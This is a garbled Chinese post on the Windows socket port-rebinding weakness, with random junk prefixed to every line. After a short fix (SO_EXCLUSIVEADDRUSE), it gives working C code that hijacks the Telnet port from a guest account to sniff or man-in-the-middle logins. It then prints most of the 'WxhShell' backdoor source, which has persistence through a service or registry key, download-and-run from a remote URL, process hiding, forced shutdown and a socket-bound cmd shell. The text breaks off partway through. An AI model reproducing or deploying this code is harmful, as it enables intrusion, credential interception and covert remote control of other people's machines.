在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
FC4hvO(/m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZC &~InN :UfaMe5 saddr.sin_family = AF_INET;
V.!z9AQ ioslarw1J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xw*/8.Md6f 0a+U >S# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C?rb}(m ']sIU;h3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ZV!*ZpTe~ HmV JkkksJ 这意味着什么?意味着可以进行如下的攻击:
s{fL~}Yz S+pm@~xe 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=]L#v2@ |vj!,b88n# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c ;'7o=rr I^O`#SA ( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x&gS.b* !/"y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
PkK#HD S3dcE"hg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Egl1$,e i;#AW($+a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7':<I-Fm <*opVy^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%%Wn: c> 1k)`C<l #include
O.?q8T)n82 #include
(k %0|%eR #include
>kV=h?]Y #include
H"rIOoxf DWORD WINAPI ClientThread(LPVOID lpParam);
Bs-MoT! int main()
."j*4 {
ZQ~EaI9R WORD wVersionRequested;
.a|ROjd! DWORD ret;
XOzZtt WSADATA wsaData;
n{E+r BOOL val;
(XQl2C SOCKADDR_IN saddr;
>&|/4`HSB SOCKADDR_IN scaddr;
oX-h7;SD int err;
{Yti SOCKET s;
3
J\&t4q SOCKET sc;
L;'v,s int caddsize;
D]Gt=2\NG9 HANDLE mt;
)eWg2w ] DWORD tid;
1<f,>BQ+ wVersionRequested = MAKEWORD( 2, 2 );
^^( 4xHN err = WSAStartup( wVersionRequested, &wsaData );
Xx=.;FYk if ( err != 0 ) {
GnW_^$Fs printf("error!WSAStartup failed!\n");
-KCQ!0\F return -1;
QsPL^ Ny }
<V*M%YWs saddr.sin_family = AF_INET;
;<v9i#K5 4Bq4d.0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.w~zW*M0 OSCe TkR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MtK5>mhZI` saddr.sin_port = htons(23);
-MeO|HWm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0Yc#fD {
6H!"oC& printf("error!socket failed!\n");
]m""ga return -1;
@33-UP9o }
iLkP@OYgQ val = TRUE;
Ks^EGy+O:- //SO_REUSEADDR选项就是可以实现端口重绑定的
d#nKTqSg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<k2]GI-}h {
nL*
SNQ_ printf("error!setsockopt failed!\n");
,m.IhnCV\ return -1;
RkBbu4uQ- }
:WdiH)Zv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"ZFK-jn/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
lmr:PX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(~n0,$ wz5*?[4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0t}&32lL& {
Amvl/bO ret=GetLastError();
(B;rjpK printf("error!bind failed!\n");
V|bN<BYJ return -1;
SN|:{Am }
v"smmQZik listen(s,2);
#k<j`0kiq while(1)
,(CIcDJ2U_ {
0~j0x# caddsize = sizeof(scaddr);
V$<5` //接受连接请求
FG5t\!dt< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)3~):+ if(sc!=INVALID_SOCKET)
[?Q$b5j/M {
}KwL_\>&f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
mw&)j R$& if(mt==NULL)
giz#(61j^ {
OO+QH 2j printf("Thread Creat Failed!\n");
)}jXC4 break;
Az>gaJ/_ }
8_F 5c@7 }
69u"/7X CloseHandle(mt);
&\GB_UA }
\LpR7D closesocket(s);
Kdwt^8Umh WSACleanup();
X
Sw0t8 return 0;
2N:|B O> }
@s;qmBX4 DWORD WINAPI ClientThread(LPVOID lpParam)
Q'S"$^~{ {
k\a&4v SOCKET ss = (SOCKET)lpParam;
JA~v:ec SOCKET sc;
k),. unsigned char buf[4096];
J -g<-!>RM SOCKADDR_IN saddr;
myeez+@ m long num;
Th)Z?\8zk DWORD val;
/<$\)|r DWORD ret;
&udlt//^% //如果是隐藏端口应用的话,可以在此处加一些判断
*
"Z5bKL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[<M~6] saddr.sin_family = AF_INET;
Cl5l+I\1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&I$MV5)u saddr.sin_port = htons(23);
("B[P/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WD7IF+v {
td#B$$[ printf("error!socket failed!\n");
S @MO return -1;
cRhu]fv() }
&%Lps_+fJ val = 100;
Akbt%& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ma,2_oq+ {
]V K%6PQ0 ret = GetLastError();
.`3O4]N[ return -1;
==\Qj{
7` }
e$3{URg if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]e+88eQ {
?W(>Yefk ret = GetLastError();
z.q^`01/H return -1;
af<R. }
lU[" ZFP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
r2]KP(T8| {
]%L?b-e printf("error!socket connect failed!\n");
`i,l)X] closesocket(sc);
* Jy'3o closesocket(ss);
ZYy?JDAO return -1;
|aovZ/b4 }
:Ej#qYi while(1)
W5^m[,GU' {
rVE!mi]% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Pn*+g!` //如果是嗅探内容的话,可以再此处进行内容分析和记录
ROyG+dUy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
As;@T$G num = recv(ss,buf,4096,0);
5QR=$?K if(num>0)
U2u\Q1 send(sc,buf,num,0);
^"e|)4_5\ else if(num==0)
Is $I;` break;
^T#bla893 num = recv(sc,buf,4096,0);
#ONad0T; if(num>0)
.W#-Cl&n8 send(ss,buf,num,0);
Oist>A$Z else if(num==0)
S}Q/CT?au break;
-<[MM2Y }
j<-#a^jb closesocket(ss);
mu[:b closesocket(sc);
msyC."j0jU return 0 ;
qBKRm0<W }
1'[RrJ$Q 0#AS>K5 F?wfh7q ==========================================================
/7
CF f&4 d@a FW 下边附上一个代码,,WXhSHELL
O"$uw q*|H*sS ==========================================================
Sd!!1as #JFTD[1 #include "stdafx.h"
3$u3ssOL n\v;4ly^ #include <stdio.h>
`m.).Hda #include <string.h>
=o@CCUKpj #include <windows.h>
'edd6yTd #include <winsock2.h>
RpAqnDX) #include <winsvc.h>
L|wD2iw #include <urlmon.h>
-_bnGY%, *f[nge&. #pragma comment (lib, "Ws2_32.lib")
)]/gu\90 #pragma comment (lib, "urlmon.lib")
GESEj%R/b F~`Yh6v #define MAX_USER 100 // 最大客户端连接数
p5C:MA~* #define BUF_SOCK 200 // sock buffer
\DG
6 #define KEY_BUFF 255 // 输入 buffer
6QwVgEnSf =q1=.VTn #define REBOOT 0 // 重启
OR &' #define SHUTDOWN 1 // 关机
v-k~Q$7~ PgeC\#;9 #define DEF_PORT 5000 // 监听端口
-K 7jigac llCBqWn #define REG_LEN 16 // 注册表键长度
b'!t\m #define SVC_LEN 80 // NT服务名长度
OlW|qj ''{REFjK7 // 从dll定义API
vr,8i7*0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`OL@@`'^{S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Xu4C*]A> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g>m)|o' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_6b?3[Xz \{Qd // wxhshell配置信息
Kw`{B3" struct WSCFG {
0W92Z@_GY int ws_port; // 监听端口
,cgFdOM. char ws_passstr[REG_LEN]; // 口令
1G0U}-6RH int ws_autoins; // 安装标记, 1=yes 0=no
7,MDFO{n char ws_regname[REG_LEN]; // 注册表键名
[g bYIwL. char ws_svcname[REG_LEN]; // 服务名
0zQ^ 6@ char ws_svcdisp[SVC_LEN]; // 服务显示名
ne]P -50 char ws_svcdesc[SVC_LEN]; // 服务描述信息
c>_tV3TDA char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>MuI-^3 int ws_downexe; // 下载执行标记, 1=yes 0=no
fgiOYvIS2m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i++a^f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$pV:)N4 YP^=b} };
JHxy_<p/ /s@t-gTi // default Wxhshell configuration
4pvT?s>68 struct WSCFG wscfg={DEF_PORT,
w\"~*(M "xuhuanlingzhe",
-C]k YQ
1,
m#}41< "Wxhshell",
9O8na
'w "Wxhshell",
@/MI
Oxg[ "WxhShell Service",
/6=IL "Wrsky Windows CmdShell Service",
{|KFgQ'\ "Please Input Your Password: ",
-8HK_eQn 1,
r8.`W\SKX "
http://www.wrsky.com/wxhshell.exe",
<Km
^>9 "Wxhshell.exe"
~4 ~c+^PF };
TY."?` [FK 7L%JCH#F // 消息定义模块
GI+x,p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6:fHPlqW char *msg_ws_prompt="\n\r? for help\n\r#>";
7Ei,L[{\i# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^tMb"WO char *msg_ws_ext="\n\rExit.";
04K[U9W3 char *msg_ws_end="\n\rQuit.";
_d|CO char *msg_ws_boot="\n\rReboot...";
B0h|Y.S8%1 char *msg_ws_poff="\n\rShutdown...";
R[C+?qux char *msg_ws_down="\n\rSave to ";
Kyf,<zF e=>:(^CS char *msg_ws_err="\n\rErr!";
Y X`BX$ char *msg_ws_ok="\n\rOK!";
^(j}'p, {\1:2UKkr char ExeFile[MAX_PATH];
x7<2K( int nUser = 0;
.wU0F HANDLE handles[MAX_USER];
.tdaj6x int OsIsNt;
|rU? CPW^pGT+i SERVICE_STATUS serviceStatus;
$U_M|Xa SERVICE_STATUS_HANDLE hServiceStatusHandle;
y%Q0*
_ Bi.,@7|> // 函数声明
]u]BxMs int Install(void);
Y3_C':r int Uninstall(void);
S/itK3 int DownloadFile(char *sURL, SOCKET wsh);
- w{`/ int Boot(int flag);
<y
S|\Z| void HideProc(void);
^n?`l ^9c$ int GetOsVer(void);
=JkPE2mU int Wxhshell(SOCKET wsl);
diz=|g=w void TalkWithClient(void *cs);
8l1s]Kqr int CmdShell(SOCKET sock);
1fK]A*{p int StartFromService(void);
43VBx<" int StartWxhshell(LPSTR lpCmdLine);
`!udU,|N @A5'vf|2;. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_VUG!?_D$5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
qa\e`LD%Y U<YcUmX // 数据结构和表定义
tx*L8'jlN SERVICE_TABLE_ENTRY DispatchTable[] =
JdM0f!3 {
rAn:hR{ {wscfg.ws_svcname, NTServiceMain},
F@tfbDO? {NULL, NULL}
_xefFy };
9\zasa &E]<dmR // 自我安装
%eE0a4^". int Install(void)
>\7Mf@c {
V&h{a8xa$ char svExeFile[MAX_PATH];
E/3i_R HKEY key;
VMee"'08 strcpy(svExeFile,ExeFile);
2q
NA\-0i> 'OACbYgG // 如果是win9x系统,修改注册表设为自启动
33=lR-N# if(!OsIsNt) {
q4EOI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:`>$B?x+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k-Z:z?M RegCloseKey(key);
:MP*Xy\7&J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w+wg)$i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8nu@6 )# RegCloseKey(key);
l(y,lK=YP1 return 0;
1KUM!DUD }
V0<g$,W= }
j* ZU}Ss }
yPd6{% w else {
8FIk|p|l^ &RHZ7T // 如果是NT以上系统,安装为系统服务
'8yC wk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_UA|0a!- if (schSCManager!=0)
/V{1Zw= {
bess
b>= SC_HANDLE schService = CreateService
&7XsyDo6 (
Ei7Oi!1 schSCManager,
FNw0x6,~R wscfg.ws_svcname,
hh-a+]
c0 wscfg.ws_svcdisp,
#z1/VZ SERVICE_ALL_ACCESS,
5SMV3~*P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k\TP3*fD SERVICE_AUTO_START,
yW)r`xpY SERVICE_ERROR_NORMAL,
h"y~!NWn svExeFile,
B1V+CP3t NULL,
3#0y.. F NULL,
I/*^s NULL,
~>#?.f NULL,
lhC^Upqw NULL
#De a$ );
fm^J- if (schService!=0)
{4$aA* {
DDq?4 CloseServiceHandle(schService);
i-}Tt<^ CloseServiceHandle(schSCManager);
n)j0h- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I
6'!b/ strcat(svExeFile,wscfg.ws_svcname);
p/qu4[Mm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xi<yB0MoA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Yr*!T= z RegCloseKey(key);
S"t\LB*'Ls return 0;
1=h5Z3/fj }
iR!]&Oh }
c{IL"B6> CloseServiceHandle(schSCManager);
Ou4 `#7FR }
%>y`VN
D }
'
<?=!&\D m5o$Dus+?' return 1;
i-ww@ XOQ }
sd"eu gZ|!' // 自我卸载
UcKVLzKs int Uninstall(void)
?iZM.$![ {
e"%uOuIYX HKEY key;
oj[~H}> kLF~^/ if(!OsIsNt) {
lbX
YWZ~7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Lq62 RegDeleteValue(key,wscfg.ws_regname);
qg/FI#r RegCloseKey(key);
Dkx}}E:< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}[=)sb_ RegDeleteValue(key,wscfg.ws_regname);
3B='f"G RegCloseKey(key);
))dw[Xa return 0;
Fi'ZId }
ilXKJJda }
D~bx'Wr+ }
,c-*/{3 else {
w59q* 2 P+Gz' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
764eXh if (schSCManager!=0)
/1p5KVTKv {
6<9}>Wkf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<5"&]!
. if (schService!=0)
^We}i {
+_{cq@c if(DeleteService(schService)!=0) {
{ P,hH~! CloseServiceHandle(schService);
%gQUog CloseServiceHandle(schSCManager);
V'gJtF return 0;
lQiw8qD }
w?zy/+N~ CloseServiceHandle(schService);
4x<H=CJC }
teI?.M9r CloseServiceHandle(schSCManager);
xC9{hXg! }
lU%oU&P/"S }
TFm[sO0RZ k&uh return 1;
gKcBx6G
Q }
lXF7)H&T rT=C/SKP // 从指定url下载文件
lo1bj *Y2 int DownloadFile(char *sURL, SOCKET wsh)
\#]C !JQ {
pY[b[ezb HRESULT hr;
YR? E
z<p char seps[]= "/";
]R>NmjAI char *token;
tSux5yV char *file;
]l C2YD} char myURL[MAX_PATH];
V']Z_$_ char myFILE[MAX_PATH];
'sXrtl7{^ YXZP-=fB>i strcpy(myURL,sURL);
g4Q' Fub+I token=strtok(myURL,seps);
P(FlU]q while(token!=NULL)
5|~nX8> {
6K )K%a,9 file=token;
B=;kC#Emtf token=strtok(NULL,seps);
Dkb`_HI }
kYWnaY ^F zc=G4F01 GetCurrentDirectory(MAX_PATH,myFILE);
{]cr.y]\ strcat(myFILE, "\\");
C7G,M strcat(myFILE, file);
G3`9'-2q@c send(wsh,myFILE,strlen(myFILE),0);
t#@z_Mn\ send(wsh,"...",3,0);
sp:4b$zX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
k\qFWFR if(hr==S_OK)
`)5WA{z return 0;
UGd\`*Cj else
4`)r1D!U return 1;
c-5AI{%bl6 l$pz:m]Id }
& !ds#- 1x=x,lcL // 系统电源模块
7V8k = int Boot(int flag)
ZgG~xl\My {
n?$c"} HANDLE hToken;
Ynvf;qs TOKEN_PRIVILEGES tkp;
]Ml NA/`LaJ if(OsIsNt) {
^"D^D`$@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{Q37a=;, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
NN2mOJ:- tkp.PrivilegeCount = 1;
W6}>iB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+v
3:\# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Su7N ?X! if(flag==REBOOT) {
LEeA ,Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=cZ24I return 0;
d5>&,
{o7N }
MJqWc6{ n else {
2C}Yvfm4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
n[gE[kw return 0;
d{Jk:@.1 }
1++g@8 }
vG'#5%,| else {
8Th,C{ if(flag==REBOOT) {
O1c:X7lHc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
HV)aVkr/& return 0;
&z1U0uk }
pZlsDM/= else {
$A9Pi"/*z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O=V_7I5 return 0;
`7w-_o
% }
+a^gC
}
y]+5Y.Cw$ k9OGnCW\ return 1;
"FA.T7G }
>h\u[I$7 Lo_+W1+ // win9x进程隐藏模块
fn,hP_ void HideProc(void)
RC[Sa wA {
3: WEODV2 wpYk`Lr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ObEz 0Rj if ( hKernel != NULL )
{R-o8N {
O+|C<;K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u%e~a] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-W1p=od FreeLibrary(hKernel);
j\IdB:}j }
64mEZ_kG, cjPXrDl{\ return;
z,ERq,g+L }
YmaS,Q- Nz.X$zUmY // 获取操作系统版本
Rr%x;- int GetOsVer(void)
)Ln".Bu, {
ciN\SA ZY OSVERSIONINFO winfo;
h#O9TB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Wj^e)2% GetVersionEx(&winfo);
!2.BLJE> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
U< G 2tn( return 1;
D)ri_w!Q else
U< Xdhgo? return 0;
/Yp#`}Ii }
lP`BKc, \alV #>J5 // 客户端句柄模块
]}N01yw|s int Wxhshell(SOCKET wsl)
)h]#:,pm {
\ m~?yq8H SOCKET wsh;
Zf@B<
m struct sockaddr_in client;
30uPDDvar DWORD myID;
#O}}pF ;\2Z?Kq while(nUser<MAX_USER)
4\&Y;upy+ {
F!EiF&[\J int nSize=sizeof(client);
QcQ%A%VIV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zq{UkoME if(wsh==INVALID_SOCKET) return 1;
I_v}}h{ &N/t%q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?=M?v;8 if(handles[nUser]==0)
4)8VmCW closesocket(wsh);
A)sYde( else
{m>ylE nUser++;
kaekH*m~ }
`R8&(kQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tj@(0}pi4 ":Tm6Nj return 0;
b^d{$eoH?| }
K'r;#I|"J O[ird`/ // 关闭 socket
-Y/i
h(I^ void CloseIt(SOCKET wsh)
2uE<mjCt-r {
w7?fJ")
closesocket(wsh);
BM,hcTr? nUser--;
v{a%TA9- ExitThread(0);
Q!1 ;xw~ }
WZNq!K H &[-(=43@ // 客户端请求句柄
xeU|5-d' void TalkWithClient(void *cs)
,O5X80'.g {
El<*) *tF~CG$r SOCKET wsh=(SOCKET)cs;
,\\ba_*z char pwd[SVC_LEN];
~Xxmj!nOf char cmd[KEY_BUFF];
#%p44%W char chr[1];
c,2& -T} int i,j;
6*9wGLE \QK@wgu while (nUser < MAX_USER) {
S"Cz.
bv {g%N(2 if(wscfg.ws_passstr) {
BUBx}dbCM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eTS}- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$5&%X'jk //ZeroMemory(pwd,KEY_BUFF);
[v"Z2F<.= i=0;
`3rwqcxA while(i<SVC_LEN) {
Wgls+<l8 ljNwt // 设置超时
! dzgi: fd_set FdRead;
%vJHr!x struct timeval TimeOut;
46 A sD FD_ZERO(&FdRead);
SraZxuPg> FD_SET(wsh,&FdRead);
qLDj\%~( TimeOut.tv_sec=8;
elCYH9W^ TimeOut.tv_usec=0;
J;0;oXwJ< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~ 1h#
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:*''ci (G"'Fb6d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:x\[aG9 pwd
=chr[0]; %PYl
if(chr[0]==0xd || chr[0]==0xa) { crM5&L9zF
pwd=0; @N>7+
4
break; yV{B,T`W
} PdcIHN
i++; A#"Wk]jX
} &$~fz":1!
C 5.3[
// 如果是非法用户,关闭 socket lhN@,q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V*4Z.3/E5
} &F&`y
Ht
Fr(g\"$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,&t+D-s<f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !!1?2ine
dE7x
SI
while(1) { IK2da@V
2a$.S" ?
ZeroMemory(cmd,KEY_BUFF); g<:Lcg"u
]<f)Rf">:`
// 自动支持客户端 telnet标准 a$My6Qa#
j=0; bBjr hi
while(j<KEY_BUFF) { A>@#eyB
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @YI{ E*?S
cmd[j]=chr[0]; MgJ6{xzz
if(chr[0]==0xa || chr[0]==0xd) { 7=l~fKu
cmd[j]=0; \]tBwa
break; @k?vbq
} QHk\Z
j++; Dl;hOHvKk
} 7AqgX0)
Tru{8]uMH
// 下载文件 7*5B
if(strstr(cmd,"http://")) { ?*fa5=ql
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ww]$zd-bo
if(DownloadFile(cmd,wsh)) ;'"'|} xn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vhrf 89-q
else bwsKdh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >f]/VaMH{
} KUI{Z I
else { cbzA`b'Mg
N"S`9B1eD(
switch(cmd[0]) { pi"H?EHk
%6m/ve
// 帮助 uwNJM
case '?': { ,-c,3/tyA
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 66v,/#K
break; ?XBdBR_"^
} pHeG{<^
// 安装 F5o8@ Ib]:
case 'i': { =L!&Z
if(Install()) :R;w<Tbz"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s6`E.Eevm
else P3zUaN\c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RM2Ik_IH[l
break; ewMVUq*:
} F]$ Nu
// 卸载 mrTf["K
case 'r': { Ni_H1G
if(Uninstall()) @ st>#]i4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [?]N
GTr#
else 7H7
Xbi@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6$`< Y?
break; [EAOk=X
}
0,Ds1y^
// 显示 wxhshell 所在路径 iM]O
case 'p': { q7B5#kb
char svExeFile[MAX_PATH]; /JD}b[J$
strcpy(svExeFile,"\n\r"); r&u1-%%9[
strcat(svExeFile,ExeFile); F @PPhzZ
send(wsh,svExeFile,strlen(svExeFile),0); %_!/4^smE
break; W5|{A])N
} a"#t'\
// 重启 ;d?BVe?
case 'b': { Xb_
V\b0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S:xXD^n#H
if(Boot(REBOOT)) L!Jx`zM^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jD
S?p)&
else { 2q?/aw ;Z
closesocket(wsh); [OC(~b
ExitThread(0); f1'ByV'2
} uyj!$}4
break; '@n"'vks(\
} &h5Vhzq(<
// 关机 6{2y$'m8
case 'd': { x ytrd.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A4j,]hOD
if(Boot(SHUTDOWN)) odP<S.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@Ye_aM~?Y
else { 1[egCC\Mo_
closesocket(wsh); dwA"QVp{
ExitThread(0); )."ob=m
} 1$*8F
break; MK#
} /X}1%p
// 获取shell W~ yb>+u
case 's': { Gs:g
CmdShell(wsh); 1 iH@vd
closesocket(wsh);
']}-;m\
ExitThread(0); }<Ydj .85
break; a"( Ws]K
} Jz8P':6[
// 退出 _H| )g*]t
case 'x': { `m 5\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Es=G' au
CloseIt(wsh); [@K'}\U^+
break; hb[ThQ
} ?$pNd uE
// 离开 @nH3nn
case 'q': { w-).HPe
send(wsh,msg_ws_end,strlen(msg_ws_end),0); jFQ y[k-B
closesocket(wsh); !'$*Z(
WSACleanup(); frcAXh9
exit(1); bJ2-lU% ;2
break; ]OpGD5jZ
} cW3'057
} wSR|uh
} 49FP&NgK
XDK Me}
// 提示信息 {4+/0\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :!i=g+e]
} cS.@02~f"
} 5<Kt"5Z%7
B)q }]Qn
return; 2a@X-Di
} iwnGWGcuS
I
Fw7?G,
// shell模块句柄 C|y^{4|R
int CmdShell(SOCKET sock) 7w73,r/D8A
{ 'iMzp]V;
STARTUPINFO si; '6D"QDZB
ZeroMemory(&si,sizeof(si)); c&;" Y{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8GkWo8rPk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {aE[h[=r
PROCESS_INFORMATION ProcessInfo; \3vQXt\dM$
char cmdline[]="cmd"; Zbo4{.#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZK4V-?/[6
return 0; p5]W2i.,
} ;adZ*'6u
<EnmH/C.
// 自身启动模式 LJrH_h8C
int StartFromService(void) U&"L9o`2
{ EWJB/iED
typedef struct
*twGIX
{ |QS|\8g{0V
DWORD ExitStatus; 1c,#`\Iikd
DWORD PebBaseAddress; gwB,*.z
